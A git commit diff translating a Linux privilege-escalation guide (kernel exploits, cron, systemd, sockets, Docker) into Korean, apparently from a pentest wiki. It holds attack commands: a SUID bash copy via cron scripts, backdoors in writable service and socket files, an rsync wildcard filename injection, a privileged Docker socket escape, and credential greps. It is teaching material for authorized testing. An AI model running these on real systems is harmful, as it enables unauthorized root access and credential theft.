Translated ['src/linux-hardening/privilege-escalation/README.md'] to ko

This commit is contained in:
Translator 2025-06-03 07:00:24 +00:00
parent 54ed65932f
commit 1c34aa4053

View File

@ -32,10 +32,10 @@ cat /proc/version
uname -a uname -a
searchsploit "Linux Kernel" searchsploit "Linux Kernel"
``` ```
취약한 커널 목록과 이미 **컴파일된 익스플로잇**을 여기에서 찾을 수 있습니다: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 및 [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ 취약한 커널 목록과 이미 **컴파일된 익스플로잇**을 여기에서 찾을 수 있습니다: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 및 [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
다른 사이트에서 **컴파일된 익스플로잇**을 찾을 수 있습니다: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) 다른 사이트에서 **컴파일된 익스플로잇**을 찾을 수 있습니다: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
그 웹사이트에서 모든 취약한 커널 버전을 추출하려면 다음을 수행할 수 있습니다: 그 웹에서 모든 취약한 커널 버전을 추출하려면 다음과 같이 할 수 있습니다:
```bash ```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
``` ```
@ -45,7 +45,7 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (피해자에서 실행, 커널 2.x에 대한 취약점만 확인) [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (피해자에서 실행, 커널 2.x에 대한 취약점만 확인)
항상 **Google에서 커널 버전을 검색하세요**, 아마도 귀하의 커널 버전이 일부 커널 취약점에 기록되어 있을 것이며, 그러면 이 취약점이 유효하다는 것을 확신할 수 있습니다. 항상 **Google에서 커널 버전을 검색하세요**, 아마도 귀하의 커널 버전이 어떤 커널 취약점에 기록되어 있을 것이며, 그러면 이 취약점이 유효하다는 것을 확신할 수 있습니다.
### CVE-2016-5195 (DirtyCow) ### CVE-2016-5195 (DirtyCow)
@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
``` ```
### Sudo 버전 ### Sudo 버전
취약한 sudo 버전에 따라 다음에 나타나는: 취약한 sudo 버전에 따라 다음에 나타납니다:
```bash ```bash
searchsploit sudo searchsploit sudo
``` ```
@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null
``` ```
## Docker Breakout ## Docker Breakout
If you are inside a docker container you can try to escape from it: Docker 컨테이너 내부에 있다면 탈출을 시도할 수 있습니다:
{{#ref}} {{#ref}}
docker-security/ docker-security/
@ -131,7 +131,7 @@ docker-security/
## Drives ## Drives
Check **어떤 것이 마운트되고 언마운트되었는지**, 어디서 그리고 왜. 만약 어떤 것이 언마운트되어 있다면, 그것을 마운트하고 개인 정보를 확인해 볼 수 있습니다. **무엇이 마운트되고 언마운트되었는지**, 어디서 왜 그런지 확인하세요. 언마운트된 것이 있다면 마운트해보고 개인 정보를 확인해볼 수 있습니다.
```bash ```bash
ls /dev 2>/dev/null | grep -i "sd" ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@ -144,7 +144,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
```bash ```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
``` ```
또한 **어떤 컴파일러가 설치되어 있는지 확인하세요**. 이는 커널 익스플로잇을 사용해야 할 경우 유용하며, 이를 사용할 머신(또는 유사한 머신)에서 컴파일하는 것이 권장됩니다. 또한 **어떤 컴파일러가 설치되어 있는지 확인하십시오**. 이는 커널 익스플로잇을 사용해야 할 경우 유용하며, 이를 사용할 머신(또는 유사한 머신)에서 컴파일하는 것이 권장됩니다.
```bash ```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
``` ```
@ -158,7 +158,7 @@ rpm -qa #Centos
``` ```
SSH에 대한 접근 권한이 있는 경우, **openVAS**를 사용하여 머신에 설치된 구식 및 취약한 소프트웨어를 확인할 수 있습니다. SSH에 대한 접근 권한이 있는 경우, **openVAS**를 사용하여 머신에 설치된 구식 및 취약한 소프트웨어를 확인할 수 있습니다.
> [!NOTE] > _이 명령어는 대부분 쓸모없는 많은 정보를 보여줄 것이므로, 설치된 소프트웨어 버전이 알려진 취약점에 취약한지 확인할 수 있는 OpenVAS와 같은 애플리케이션을 사용하는 것이 권장됩니다._ > [!NOTE] > _이 명령은 대부분 쓸모없는 많은 정보를 표시하므로, 설치된 소프트웨어 버전이 알려진 취약점에 취약한지 확인할 수 있는 OpenVAS와 같은 애플리케이션을 사용하는 것이 좋습니다._
## Processes ## Processes
@ -178,7 +178,7 @@ top -n 1
### 프로세스 메모리 ### 프로세스 메모리
서버의 일부 서비스는 **메모리 내에 자격 증명을 평문으로 저장합니다**.\ 서버의 일부 서비스는 **메모리 내에 자격 증명을 평문으로 저장합니다**.\
일반적으로 다른 사용자의 프로세스 메모리를 읽으려면 **루트 권한**이 필요하므로, 이는 보통 이미 루트일 때 더 유용하며 더 많은 자격 증명을 발견하고자 할 때 사용됩니다.\ 일반적으로 다른 사용자의 프로세스 메모리를 읽으려면 **루트 권한**이 필요하므로, 이는 보통 이미 루트일 때 더 많은 자격 증명을 발견하고자 할 때 유용합니다.\
그러나 **일반 사용자로서 자신이 소유한 프로세스의 메모리를 읽을 수 있다는 점을 기억하세요**. 그러나 **일반 사용자로서 자신이 소유한 프로세스의 메모리를 읽을 수 있다는 점을 기억하세요**.
> [!WARNING] > [!WARNING]
@ -186,9 +186,9 @@ top -n 1
> >
> 파일 _**/proc/sys/kernel/yama/ptrace_scope**_는 ptrace의 접근성을 제어합니다: > 파일 _**/proc/sys/kernel/yama/ptrace_scope**_는 ptrace의 접근성을 제어합니다:
> >
> - **kernel.yama.ptrace_scope = 0**: 모든 프로세스는 동일한 uid를 가진 한 디버깅할 수 있습니다. 이는 ptracing이 작동하던 고전적인 방식입니다. > - **kernel.yama.ptrace_scope = 0**: 동일한 uid를 가진 모든 프로세스를 디버깅할 수 있습니다. 이는 ptracing이 작동하던 고전적인 방식입니다.
> - **kernel.yama.ptrace_scope = 1**: 오직 부모 프로세스만 디버깅할 수 있습니다. > - **kernel.yama.ptrace_scope = 1**: 부모 프로세스만 디버깅할 수 있습니다.
> - **kernel.yama.ptrace_scope = 2**: 오직 관리자 ptrace를 사용할 수 있으며, 이는 CAP_SYS_PTRACE 권한이 필요합니다. > - **kernel.yama.ptrace_scope = 2**: 오직 관리자 ptrace를 사용할 수 있으며, 이는 CAP_SYS_PTRACE 권한이 필요합니다.
> - **kernel.yama.ptrace_scope = 3**: 어떤 프로세스도 ptrace로 추적할 수 없습니다. 설정 후에는 ptracing을 다시 활성화하려면 재부팅이 필요합니다. > - **kernel.yama.ptrace_scope = 3**: 어떤 프로세스도 ptrace로 추적할 수 없습니다. 설정 후에는 ptracing을 다시 활성화하려면 재부팅이 필요합니다.
#### GDB #### GDB
@ -215,7 +215,7 @@ done
``` ```
#### /proc/$pid/maps & /proc/$pid/mem #### /proc/$pid/maps & /proc/$pid/mem
주어진 프로세스 ID에 대해, **maps는 해당 프로세스의** 가상 주소 공간 내에서 메모리가 어떻게 매핑되어 있는지를 보여줍니다; 또한 **각 매핑된 영역의 권한**도 보여줍니다. **mem** 가상 파일은 **프로세스의 메모리 자체를 노출**합니다. **maps** 파일에서 우리는 어떤 **메모리 영역이 읽을 수 있는지**와 그 오프셋을 알 수 있습니다. 우리는 이 정보를 사용하여 **mem 파일로 이동하고 모든 읽을 수 있는 영역을** 파일로 덤프합니다. 주어진 프로세스 ID에 대해, **maps는 해당 프로세스의** 가상 주소 공간 내에서 메모리가 어떻게 매핑되는지를 보여줍니다; 또한 **각 매핑된 영역의 권한**도 보여줍니다. **mem** 가상 파일은 **프로세스의 메모리 자체를 노출**합니다. **maps** 파일에서 우리는 어떤 **메모리 영역이 읽을 수 있는지**와 그 오프셋을 알 수 있습니다. 우리는 이 정보를 사용하여 **mem 파일로 이동하고 모든 읽을 수 있는 영역을** 파일로 덤프합니다.
```bash ```bash
procdump() procdump()
( (
@ -230,7 +230,7 @@ rm $1*.bin
``` ```
#### /dev/mem #### /dev/mem
`/dev/mem`은 시스템의 **물리적** 메모리에 대한 접근을 제공합니다. 커널의 가상 주소 공간은 /dev/kmem을 사용하여 접근할 수 있습니다.\ `/dev/mem`은 시스템의 **물리적** 메모리에 접근을 제공합니다. 커널의 가상 주소 공간은 /dev/kmem을 사용하여 접근할 수 있습니다.\
일반적으로 `/dev/mem`**root**와 **kmem** 그룹만 읽을 수 있습니다. 일반적으로 `/dev/mem`**root**와 **kmem** 그룹만 읽을 수 있습니다.
``` ```
strings /dev/mem -n10 | grep -i PASS strings /dev/mem -n10 | grep -i PASS
@ -274,7 +274,7 @@ Press Ctrl-C to end monitoring without terminating the process.
### 프로세스 메모리에서의 자격 증명 ### 프로세스 메모리에서의 자격 증명
#### 수동 예 #### 수동 예
인증 프로세스가 실행 중인 것을 발견하면: 인증 프로세스가 실행 중인 것을 발견하면:
```bash ```bash
@ -340,9 +340,9 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
```bash ```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
``` ```
**와일드카드가** _**/some/path/\***_ **와 같은 경로 앞에 있을 경우, 취약하지 않습니다 (심지어** _**./\***_ **도 그렇습니다).** **와일드카드가** _**/some/path/\***_ **와 같은 경로 앞에 있으면 취약하지 않습니다 (심지어** _**./\***_ **도 그렇습니다).**
다음 페이지에서 더 많은 와일드카드 악용 기법을 읽어보세요: 다음 페이지에서 더 많은 와일드카드 악용 요령을 읽어보세요:
{{#ref}} {{#ref}}
wildcards-spare-tricks.md wildcards-spare-tricks.md
@ -360,15 +360,15 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
```bash ```bash
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER> ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
``` ```
### 자주 실행되는 cron 작업 ### Frequent cron jobs
1분, 2분 또는 5분마다 실행되는 프로세스를 검색하기 위해 프로세스를 모니터링할 수 있습니다. 이를 활용하여 권한을 상승시킬 수 있습니다. 프로세스를 모니터링하여 1분, 2분 또는 5분마다 실행되는 프로세스를 검색할 수 있습니다. 이를 활용하여 권한을 상승시킬 수 있습니다.
예를 들어, **1분 동안 0.1초마다 모니터링**하고, **가장 적게 실행된 명령어로 정렬**한 다음, 가장 많이 실행된 명령어를 삭제하려면 다음과 같이 할 수 있습니다: 예를 들어, **1분 동안 0.1초마다 모니터링**하고, ** 실행된 명령어로 정렬**한 다음, 가장 많이 실행된 명령어를 삭제하려면 다음과 같이 할 수 있습니다:
```bash ```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
``` ```
**다음과 같이 사용할 수 있습니다** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (이 도구는 시작는 모든 프로세스를 모니터링하고 나열합니다). **다음과 같이 사용할 수 있습니다** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (이 도구는 시작는 모든 프로세스를 모니터링하고 나열합니다).
### 보이지 않는 크론 작업 ### 보이지 않는 크론 작업
@ -380,28 +380,28 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### Writable _.service_ files ### Writable _.service_ files
Check if you can write any `.service` file, if you can, you **could modify it** so it **executes** your **backdoor when** the service is **started**, **restarted** or **stopped** (maybe you will need to wait until the machine is rebooted).\ `.service` 파일에 쓸 수 있는지 확인하세요. 쓸 수 있다면, 서비스가 **시작**, **재시작** 또는 **중지**될 때 **백도어를 실행하도록** **수정할 수 있습니다** (아마도 기계가 재부팅될 때까지 기다려야 할 것입니다).\
예를 들어, .service 파일 안에 **`ExecStart=/tmp/script.sh`**로 백도어를 생성하세요. 예를 들어, **`ExecStart=/tmp/script.sh`**와 함께 .service 파일 안에 백도어를 생성하세요.
### Writable service binaries ### Writable service binaries
Keep in mind that if you have **write permissions over binaries being executed by services**, you can change them for backdoors so when the services get re-executed the backdoors will be executed. 서비스에 의해 실행되는 바이너리에 **쓰기 권한**이 있는 경우, 이를 백도어로 변경할 수 있으므로 서비스가 다시 실행될 때 백도어가 실행됩니다.
### systemd PATH - Relative Paths ### systemd PATH - Relative Paths
You can see the PATH used by **systemd** with: **systemd**에서 사용되는 PATH를 확인할 수 있습니다:
```bash ```bash
systemctl show-environment systemctl show-environment
``` ```
경로의 폴더 중에서 **쓰기**가 가능한 곳을 찾으면 **권한 상승**이 가능할 수 있습니다. 다음과 같은 서비스 구성 파일에서 사용되는 **상대 경로**를 검색해야 합니다: 경로의 폴더 중에서 **쓰기**가 가능하다고 판단되면 **권한 상승**이 가능할 수 있습니다. 다음과 같은 서비스 구성 파일에서 **사용되는 상대 경로**를 검색해야 합니다:
```bash ```bash
ExecStart=faraday-server ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
``` ```
그런 다음, 쓸 수 있는 systemd PATH 폴더 내에 **상대 경로 이진 파일**과 **같은 이름**의 **실행 파일**을 생성하고, 서비스가 취약한 작업(**Start**, **Stop**, **Reload**)을 실행하라고 요청받을 때, 당신의 **백도어가 실행될 것입니다** (비특권 사용자는 일반적으로 서비스를 시작/중지할 수 없지만 `sudo -l`을 사용할 수 있는지 확인하십시오). 그런 다음, 쓸 수 있는 systemd PATH 폴더 내에 **상대 경로 이진 파일**과 **같은 이름**의 **실행 파일**을 생성하고, 서비스가 취약한 작업(**시작**, **중지**, **다시 로드**)을 실행하라고 요청받을 때, 당신의 **백도어가 실행될 것입니다** (비특권 사용자는 일반적으로 서비스를 시작/중지할 수 없지만 `sudo -l`을 사용할 수 있는지 확인하십시오).
**`man systemd.service`를 통해 서비스에 대해 더 알아보세요.** **`man systemd.service`를 통해 서비스에 대해 더 알아보십시오.**
## **타이머** ## **타이머**
@ -419,7 +419,7 @@ Unit=backdoor.service
``` ```
문서에서 유닛에 대해 읽을 수 있습니다: 문서에서 유닛에 대해 읽을 수 있습니다:
> 이 타이머가 만료될 때 활성화할 유닛입니다. 인자는 유닛 이름이며, 접미사는 ".timer"가 아닙니다. 지정하지 않으면 이 값은 접미사를 제외한 타이머 유닛과 동일한 이름을 가진 서비스로 기본 설정됩니다. (위 참조.) 활성화되는 유닛 이름과 타이머 유닛의 유닛 이름은 접미사를 제외하고 동일하게 명명하는 것이 좋습니다. > 이 타이머가 만료될 때 활성화할 유닛입니다. 인수는 ".timer" 접미사가 없는 유닛 이름입니다. 지정하지 않으면 이 값은 접미사를 제외하고 타이머 유닛과 동일한 이름을 가진 서비스로 기본 설정됩니다. (위 참조.) 활성화되는 유닛 이름과 타이머 유닛의 유닛 이름은 접미사를 제외하고 동일하게 명명하는 것이 좋습니다.
따라서 이 권한을 악용하려면 다음이 필요합니다: 따라서 이 권한을 악용하려면 다음이 필요합니다:
@ -441,24 +441,24 @@ Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd
Unix Domain Sockets (UDS)는 클라이언트-서버 모델 내에서 동일하거나 다른 머신 간의 **프로세스 통신**을 가능하게 합니다. 이들은 컴퓨터 간 통신을 위해 표준 Unix 디스크립터 파일을 사용하며, `.socket` 파일을 통해 설정됩니다. Unix Domain Sockets (UDS)는 클라이언트-서버 모델 내에서 동일하거나 다른 머신 간의 **프로세스 통신**을 가능하게 합니다. 이들은 컴퓨터 간 통신을 위해 표준 Unix 디스크립터 파일을 사용하며, `.socket` 파일을 통해 설정됩니다.
Sockets can be configured using `.socket` files. 소켓은 `.socket` 파일을 사용하여 구성할 수 있습니다.
**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: **소켓에 대해 더 알아보려면 `man systemd.socket`를 참조하세요.** 이 파일 내에서 여러 흥미로운 매개변수를 구성할 수 있습니다:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 이러한 옵션은 다르지만, **소켓이 어디에서 수신 대기할지를 나타내기 위해 요약됩니다** (AF_UNIX 소켓 파일의 경로, 수신 대기할 IPv4/6 및/또는 포트 번호 등) - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 이 옵션은 다르지만, **소켓이 어디에서 수신 대기할지를 나타내기 위해 요약됩니다** (AF_UNIX 소켓 파일의 경로, 수신 대기할 IPv4/6 및/또는 포트 번호 등)
- `Accept`: 부울 인수를 받습니다. **true**인 경우, **각 수신 연결에 대해 서비스 인스턴스가 생성**되며, 연결 소켓만 전달됩니다. **false**인 경우, 모든 수신 대기 소켓 자체가 **시작된 서비스 유닛**에 전달되며, 모든 연결에 대해 하나의 서비스 유닛만 생성됩니다. 이 값은 단일 서비스 유닛이 모든 수신 트래픽을 무조건 처리하는 데이터그램 소켓 및 FIFO에 대해 무시됩니다. **기본값은 false**입니다. 성능상의 이유로, `Accept=no`에 적합한 방식으로만 새로운 데몬을 작성하는 것이 권장됩니다. - `Accept`: 부울 인수를 받습니다. **true**인 경우, **각 수신 연결에 대해 서비스 인스턴스가 생성**되며, 연결 소켓만 전달됩니다. **false**인 경우, 모든 수신 소켓 자체가 **시작된 서비스 유닛에 전달**되며, 모든 연결에 대해 단 하나의 서비스 유닛이 생성됩니다. 이 값은 단일 서비스 유닛이 모든 수신 트래픽을 무조건 처리하는 데이터그램 소켓 및 FIFO에 대해 무시됩니다. **기본값은 false**입니다. 성능상의 이유로, 새로운 데몬은 `Accept=no`에 적합한 방식으로만 작성하는 것이 권장됩니다.
- `ExecStartPre`, `ExecStartPost`: 수신 대기 **소켓**/FIFO가 **생성**되고 바인딩되기 **전** 또는 **후**에 **실행되는** 하나 이상의 명령줄을 받습니다. 명령줄의 첫 번째 토큰은 절대 파일 이름이어야 하며, 그 다음에 프로세스에 대한 인수가 옵니다. - `ExecStartPre`, `ExecStartPost`: 수신 대기하는 **소켓**/FIFO가 **생성**되고 바인딩되기 **전** 또는 **후**에 **실행되는** 하나 이상의 명령줄을 받습니다. 명령줄의 첫 번째 토큰은 절대 파일 이름이어야 하며, 그 다음에 프로세스에 대한 인수가 옵니다.
- `ExecStopPre`, `ExecStopPost`: 수신 대기 **소켓**/FIFO가 **닫히고** 제거되기 **전** 또는 **후**에 **실행되는** 추가 **명령**입니다. - `ExecStopPre`, `ExecStopPost`: 수신 대기하는 **소켓**/FIFO가 **닫히고** 제거되기 **전** 또는 **후**에 **실행되는** 추가 **명령**입니다.
- `Service`: **수신 트래픽**에 대해 **활성화할** **서비스** 유닛 이름을 지정합니다. 이 설정은 Accept=no인 소켓에 대해서만 허용됩니다. 기본적으로 소켓과 동일한 이름을 가진 서비스(접미사가 대체됨)로 설정됩니다. 대부분의 경우, 이 옵션을 사용할 필요는 없습니다. - `Service`: **수신 트래픽**에 대해 **활성화할** **서비스** 유닛 이름을 지정합니다. 이 설정은 Accept=no인 소켓에 대해서만 허용됩니다. 기본값은 소켓과 동일한 이름을 가진 서비스입니다 (접미사가 대체됨). 대부분의 경우, 이 옵션을 사용할 필요는 없습니다.
### Writable .socket files ### Writable .socket files
**쓰기 가능한** `.socket` 파일을 찾으면 `[Socket]` 섹션의 시작 부분에 `ExecStartPre=/home/kali/sys/backdoor`와 같은 내용을 **추가**할 수 있으며, 그러면 소켓이 생성되기 전에 백도어가 실행됩니다. 따라서 **기계가 재부팅될 때까지 기다려야 할 것입니다.**\ **쓰기 가능한** `.socket` 파일을 찾으면 `[Socket]` 섹션의 시작 부분에 `ExecStartPre=/home/kali/sys/backdoor`와 같은 내용을 추가할 수 있으며, 그러면 소켓이 생성되기 전에 백도어가 실행됩니다. 따라서 **기계가 재부팅될 때까지 기다려야 할 것입니다.**\
_시스템이 해당 소켓 파일 구성을 사용해야 백도어가 실행됩니다._ _시스템이 해당 소켓 파일 구성을 사용해야 백도어가 실행됩니다._
### Writable sockets ### Writable sockets
**쓰기 가능한 소켓****식별**하면 (_지금은 Unix 소켓에 대해 이야기하고 있으며 구성 `.socket` 파일에 대해 이야기하는 것이 아닙니다_), 해당 소켓과 **통신할 수 있으며** 아마도 취약점을 악용할 수 있습니다. **쓰기 가능한 소켓을 식별하면** (_지금은 Unix 소켓에 대해 이야기하고 있으며 구성 `.socket` 파일에 대해 이야기하는 것이 아닙니다_), **해당 소켓과 통신할 수 있으며** 아마도 취약점을 악용할 수 있습니다.
### Enumerate Unix Sockets ### Enumerate Unix Sockets
```bash ```bash
@ -473,15 +473,15 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat #apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
``` ```
**Exploitation example:** **악용 예시:**
{{#ref}} {{#ref}}
socket-command-injection.md socket-command-injection.md
{{#endref}} {{#endref}}
### HTTP sockets ### HTTP 소켓
HTTP 요청을 수신 대기하는 **소켓**이 있을 수 있습니다 (_저는 .socket 파일이 아니라 유닉스 소켓으로 작동하는 파일에 대해 이야기하고 있습니다_). 다음을 사용하여 확인할 수 있습니다: **HTTP** 요청을 수신 대기하는 **소켓**이 있을 수 있습니다 (_저는 .socket 파일이 아니라 유닉스 소켓으로 작동하는 파일에 대해 이야기하고 있습니다_). 다음을 통해 확인할 수 있습니다:
```bash ```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
``` ```
@ -502,7 +502,7 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse
#### **Docker API 직접 사용하기** #### **Docker API 직접 사용하기**
Docker CLI를 사용할 수 없는 경우에도 Docker 소켓을 Docker API `curl` 명령어를 사용하여 조작할 수 있습니다. Docker CLI를 사용할 수 없는 경우에도 Docker 소켓을 Docker API `curl` 명령어를 사용하여 조작할 수 있습니다.
1. **Docker 이미지 목록:** 사용 가능한 이미지 목록을 가져옵니다. 1. **Docker 이미지 목록:** 사용 가능한 이미지 목록을 가져옵니다.
@ -536,9 +536,9 @@ Upgrade: tcp
### 기타 ### 기타
**docker** 그룹에 **속해 있기 때문에** docker 소켓에 대한 쓰기 권한이 있는 경우 [**권한 상승을 위한 더 많은 방법이 있습니다**](interesting-groups-linux-pe/index.html#docker-group). [**docker API가 포트에서 수신 대기 중이라면 이를 손상시킬 수 있습니다**](../../network-services-pentesting/2375-pentesting-docker.md#compromising). **docker** 그룹에 **속해 있기 때문에** docker 소켓에 대한 쓰기 권한이 있는 경우 [**권한 상승을 위한 더 많은 방법**](interesting-groups-linux-pe/index.html#docker-group)이 있습니다. [**docker API가 포트에서 수신 대기 중인 경우** 이를 손상시킬 수 있습니다](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
다음에서 **docker에서 탈출하거나 권한 상승을 위해 이를 악용하는 더 많은 방법을 확인하세요**: 다음에서 **docker에서 탈출하거나 권한을 상승시키기 위해 악용할 수 있는 더 많은 방법**을 확인하세요:
{{#ref}} {{#ref}}
docker-security/ docker-security/
@ -546,7 +546,7 @@ docker-security/
## Containerd (ctr) 권한 상승 ## Containerd (ctr) 권한 상승
**`ctr`** 명령을 사용할 수 있는 경우 **권한 상승을 위해 이를 악용할 수 있습니다**: **`ctr`** 명령을 사용할 수 있는 경우, **권한 상승을 위해 악용할 수 있을 수 있으므로** 다음 페이지를 읽어보세요:
{{#ref}} {{#ref}}
containerd-ctr-privilege-escalation.md containerd-ctr-privilege-escalation.md
@ -554,7 +554,7 @@ containerd-ctr-privilege-escalation.md
## **RunC** 권한 상승 ## **RunC** 권한 상승
**`runc`** 명령을 사용할 수 있는 경우 **권한 상승을 위해 이를 악용할 수 있습니다**: **`runc`** 명령을 사용할 수 있는 경우, **권한 상승을 위해 악용할 수 있을 수 있으므로** 다음 페이지를 읽어보세요:
{{#ref}} {{#ref}}
runc-privilege-escalation.md runc-privilege-escalation.md
@ -562,13 +562,13 @@ runc-privilege-escalation.md
## **D-Bus** ## **D-Bus**
D-Bus는 애플리케이션이 효율적으로 상호 작용하고 데이터를 공유할 수 있게 해주는 정교한 **프로세스 간 통신(IPC) 시스템**입니다. 현대 Linux 시스템을 염두에 두고 설계된 이 시스템은 다양한 형태의 애플리케이션 통신을 위한 강력한 프레임워크를 제공합니다. D-Bus는 애플리케이션이 효율적으로 상호 작용하고 데이터를 공유할 수 있게 해주는 정교한 **프로세스 간 통신(IPC) 시스템**입니다. 현대 Linux 시스템을 염두에 두고 설계된 D-Bus는 다양한 형태의 애플리케이션 통신을 위한 강력한 프레임워크를 제공합니다.
이 시스템은 기본 IPC를 지원하여 프로세스 간 데이터 교환을 향상시키며, **향상된 UNIX 도메인 소켓**을 연상시킵니다. 또한 이벤트나 신호를 방송하는 데 도움을 주어 시스템 구성 요소 간의 원활한 통합을 촉진합니다. 예를 들어, Bluetooth 데몬에서 수신 전화에 대한 신호가 음악 플레이어를 음소거하도록 할 수 있어 사용자 경험을 향상시킵니다. 추가로, D-Bus는 원격 객체 시스템을 지원하여 애플리케이션 간의 서비스 요청 및 메서드 호출을 간소화하여 전통적으로 복잡했던 프로세스를 간소화합니다. 이 시스템은 기본 IPC를 지원하여 프로세스 간 데이터 교환을 향상시키며, **향상된 UNIX 도메인 소켓**을 연상시킵니다. 또한 이벤트나 신호를 방송하는 데 도움을 주어 시스템 구성 요소 간의 원활한 통합을 촉진합니다. 예를 들어, Bluetooth 데몬에서 수신 전화에 대한 신호가 음악 플레이어를 음소거하도록 할 수 있어 사용자 경험을 향상시킵니다. 추가로, D-Bus는 원격 객체 시스템을 지원하여 애플리케이션 간의 서비스 요청 및 메서드 호출을 간소화하여 전통적으로 복잡했던 프로세스를 간소화합니다.
D-Bus는 **허용/거부 모델**에 따라 작동하며, 누적 효과에 따라 메시지 권한(메서드 호출, 신호 전송 등)을 관리합니다. 이러한 정책은 버스와의 상호 작용을 지정하며, 이러한 권한을 악용하여 권한 상승을 허용할 수 있습니다. D-Bus는 **허용/거부 모델**에 따라 작동하며, 메시지 권한(메서드 호출, 신호 전송 등)을 누적 효과에 따라 관리합니다. 이러한 정책은 버스와의 상호 작용을 지정하며, 이러한 권한을 악용하여 권한 상승을 허용할 수 있습니다.
